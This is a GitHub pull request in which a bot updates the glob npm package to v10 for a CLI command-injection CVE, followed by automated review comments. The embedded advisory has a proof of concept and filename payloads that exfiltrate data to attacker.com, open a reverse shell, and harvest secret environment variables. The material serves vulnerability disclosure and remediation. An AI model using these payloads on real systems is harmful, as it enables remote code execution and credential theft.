Skip to content

fix(deps): update dependency glob to v10 [security]#382

Draft
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-glob-vulnerability
Draft

fix(deps): update dependency glob to v10 [security]#382
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-glob-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Apr 15, 2026

This PR contains the following updates:

Package Change Age Confidence
glob ^7.1.2^10.0.0 age confidence
glob ^9.3.5^10.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Release Notes

isaacs/node-glob (glob)

v10.5.0

Compare Source

v10.4.5

Compare Source

v10.4.4

Compare Source

v10.4.3

Compare Source

v10.4.2

Compare Source

v10.4.1

Compare Source

v10.4.0

Compare Source

v10.3.16

Compare Source

v10.3.15

Compare Source

v10.3.14

Compare Source

v10.3.13

Compare Source

v10.3.12

Compare Source

v10.3.11

Compare Source

v10.3.10

Compare Source

v10.3.9

Compare Source

v10.3.8

Compare Source

v10.3.7

Compare Source

v10.3.6

Compare Source

v10.3.5

Compare Source

v10.3.4

Compare Source

v10.3.3

Compare Source

v10.3.2

Compare Source

v10.3.1

Compare Source

v10.3.0

Compare Source

v10.2.7

Compare Source

v10.2.6

Compare Source

v10.2.5

Compare Source

v10.2.4

Compare Source

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.0

Compare Source

v10.0.0

Compare Source

  • No default exports, only named exports

v9.3.5

Compare Source

v9.3.4

Compare Source

v9.3.3

Compare Source

  • Upgraded minimatch to v8, adding support for any degree of
    nested extglob patterns.

v9.3.2

Compare Source

v9.3.1

Compare Source

v9.3.0

Compare Source

v9.2.1

Compare Source

v9.2.0

Compare Source

v9.1.2

Compare Source

v9.1.1

Compare Source

v9.1.0

Compare Source

v9.0.2

Compare Source

v9.0.1

Compare Source

v9.0.0

Compare Source

v8.1.0

Compare Source

v8.0.3

Compare Source

v8.0.2

Compare Source

v8.0.1

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Summary by CodeRabbit

  • Chores
    • Updated glob dependency to version 10.0.0 across project packages.

@renovate renovate bot added the renovate label Apr 15, 2026
@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai bot commented Apr 15, 2026

📝 Walkthrough

Walkthrough

Two glob package dependencies were upgraded across configuration files: the main package.json was bumped from ^9.3.5 to ^10.0.0, and src/test/vscode-notebook-perf/package.json was updated from ^7.1.2 to ^10.0.0. Both changes align the major version to 10.0.0.

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~3 minutes

🚥 Pre-merge checks | ✅ 4
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed Title accurately summarizes the main change: updating glob dependency to v10 for security reasons.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Updates Docs ✅ Passed This PR is a security dependency update, not a feature implementation. The check applies only to feature implementations requiring documentation updates.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.


Comment @coderabbitai help to get the list of available commands and usage tips.

@codecov
Copy link
Copy Markdown

codecov bot commented Apr 15, 2026

⚠️ JUnit XML file not found

The CLI was unable to find any JUnit XML files to upload.
For more help, visit our troubleshooting guide.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
src/test/vscode-notebook-perf/package.json (1)

29-35: 🛠️ Refactor suggestion | 🟠 Major

Type definitions may be stale.glob v10+ ships its own TypeScript definitions, so @types/glob is no longer needed. Remove @types/glob from devDependencies.

Proposed fix
 "devDependencies": {
-    "@types/glob": "^5.0.35",
     "@types/mocha": "^9.1.0",
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/test/vscode-notebook-perf/package.json` around lines 29 - 35, Remove the
now-unnecessary "@types/glob" devDependency from package.json (it is listed
alongside other devDependencies like "@types/mocha", "@types/node", "glob" and
"@vscode/test-cli"); delete the "@types/glob" entry, then update your lockfile
by running your package manager install (npm/yarn/pnpm) so the dependency tree
and lockfile are consistent.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@package.json`:
- Line 2710: Update the import and call sites to the new named export: replace
the default import "import glob from 'glob'" with "import { globSync } from
'glob'" and replace all uses of "glob.sync(...)" with direct calls to
"globSync(...)" in the three affected modules (gulpfile.js where glob is used
around the task that reads files, build/webTestReporter.js around the reporter
file-globbing logic, and build/webpack/common.js in the config file-glob usage).
Ensure you only import the named symbol globSync and update every glob.sync
invocation in those files to globSync with identical arguments.

---

Outside diff comments:
In `@src/test/vscode-notebook-perf/package.json`:
- Around line 29-35: Remove the now-unnecessary "@types/glob" devDependency from
package.json (it is listed alongside other devDependencies like "@types/mocha",
"@types/node", "glob" and "@vscode/test-cli"); delete the "@types/glob" entry,
then update your lockfile by running your package manager install
(npm/yarn/pnpm) so the dependency tree and lockfile are consistent.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 0d2828a5-22fd-4510-a910-8f9254cfde78

📥 Commits

Reviewing files that changed from the base of the PR and between 9ca0182 and db7e18e.

⛔ Files ignored due to path filters (2)
  • package-lock.json is excluded by !**/package-lock.json
  • src/test/vscode-notebook-perf/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (2)
  • package.json
  • src/test/vscode-notebook-perf/package.json

Comment thread package.json
"format-util": "^1.0.5",
"fs-extra": "^4.0.3",
"glob": "^9.3.5",
"glob": "^10.0.0",
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Find usages of deprecated glob.sync() pattern
echo "=== Checking for glob.sync() usage ==="
rg -n 'glob\.sync\s*\(' --type js --type ts

echo ""
echo "=== Checking glob import patterns ==="
rg -n "import.*glob.*from\s+['\"]glob['\"]" --type js --type ts

echo ""
echo "=== Checking for globSync named import ==="
rg -n "import.*\{.*globSync.*\}.*from\s+['\"]glob['\"]" --type js --type ts

Repository: deepnote/vscode-deepnote

Length of output: 1262


Security update requires API migration before merging.

CVE-2025-64756 fix is good, but glob v10 replaces glob.sync() with globSync() named export. Three files need updates:

  • gulpfile.js:69
  • build/webTestReporter.js:153
  • build/webpack/common.js:25

Each needs: change import glob from 'glob' to import { globSync } from 'glob' and glob.sync() calls to globSync().

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@package.json` at line 2710, Update the import and call sites to the new named
export: replace the default import "import glob from 'glob'" with "import {
globSync } from 'glob'" and replace all uses of "glob.sync(...)" with direct
calls to "globSync(...)" in the three affected modules (gulpfile.js where glob
is used around the task that reads files, build/webTestReporter.js around the
reporter file-globbing logic, and build/webpack/common.js in the config
file-glob usage). Ensure you only import the named symbol globSync and update
every glob.sync invocation in those files to globSync with identical arguments.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants